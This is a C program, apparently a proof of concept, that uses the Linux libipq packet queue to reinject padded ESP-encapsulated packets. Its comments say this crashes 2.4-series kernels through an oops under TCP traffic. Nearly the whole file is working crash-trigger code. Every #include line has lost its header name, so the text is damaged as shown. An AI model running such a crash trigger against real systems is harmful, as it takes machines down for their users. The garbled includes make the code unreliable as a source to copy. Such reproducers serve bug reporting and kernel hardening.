/* Compile: gcc -o nfcrash nfcrash.c -lipq */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* For CRASH_ME <= 32 everything seems to work (2.4.2-ac21). * For CRASH_ME > 32 the kernel oops'es in case of TCP traffic (2.4.2-ac21)?! * * For CRASH_ME <= 16 everything seems to work (2.4.3). * For CRASH_ME > 16 the kernel oops'es in case of TCP traffic (2.4.3)?! * */ const int CRASH_ME = 17; const int ESP_OFF = 0; unsigned short in_cksum(unsigned short *addr, int len) { int nleft = len; int sum = 0; unsigned short *w = addr; unsigned short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(unsigned char *)(&answer) = *(unsigned char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return answer; } int main(int argc, char **argv) { struct ipq_handle *qh; struct ipq_packet_msg *qpkt; struct iphdr *iph; unsigned char buff[8192]; unsigned char *esppkt; int esppkt_len; int type; int len; /* Init first (flags are not implemented; yet) */ if ( (qh = ipq_create_handle(0)) == NULL) { /* Run away... */ ipq_perror("create_handle()"); exit(1); } /* We would like to receive not only metadata... */ if (ipq_set_mode(qh, IPQ_COPY_PACKET, sizeof(buff)) < 0) { ipq_perror("set_mode()"); goto cleanup; } /* Now real fun begins... Just stay in loop, read packets, * accept them if they are IP. */ while (1) { len = ipq_read(qh, buff, sizeof buff, 0); if (len == 0) { fprintf(stderr, "read(): Zero length packet; ingnoring\n"); continue; } if (len < 0) { /* Error, quit the program */ ipq_perror("read()"); goto cleanup; } /* If packet type from kernel is not known to us, * just ignore it (but notify user) */ if ( (type = ipq_message_type(buff)) != IPQM_PACKET) { fprintf(stderr, "read(): Unknown message type %u\n", type); continue; } /* Now we know that it is IPv4 packet */ qpkt = ipq_get_packet(buff); /*esppkt_len = sizeof(struct iphdr) + ESP_OFF + qpkt->data_len + CRASH_ME;*/ esppkt_len = qpkt->data_len + CRASH_ME; esppkt = (unsigned char *) malloc(esppkt_len); memset((char *)esppkt, '\0', esppkt_len); printf("sizeof(esppkt) = %d\n", esppkt_len); /* Build new IP header */ iph = (struct iphdr *) esppkt; iph->ihl = 5; iph->version = 4; /* IPv4 */ iph->tot_len = htons(esppkt_len); /*iph->id = htons(getpid());*/ iph->ttl = 64; /* Default TTL */ iph->protocol = IPPROTO_ESP; iph->saddr = inet_addr("130.225.76.37"); iph->daddr = inet_addr("130.225.76.35"); iph->check = (unsigned short)in_cksum((unsigned short *) iph, sizeof(struct iphdr)); /*memcpy(esppkt + sizeof(struct iphdr) + ESP_OFF, qpkt->payload, qpkt->data_len);*/ /* Return the verdict and the encapsulated (ESP) packet */ /*if (ipq_set_verdict(qh, qpkt->packet_id, NF_ACCEPT, qpkt->data_len, (unsigned char *) qpkt->payload) < 0) { */ if (ipq_set_verdict(qh, qpkt->packet_id, NF_ACCEPT, esppkt_len, (unsigned char *) esppkt) < 0) { ipq_perror("set_verdict(): Oops!"); goto cleanup; } } cleanup: ipq_destroy_handle(qh); exit(0); }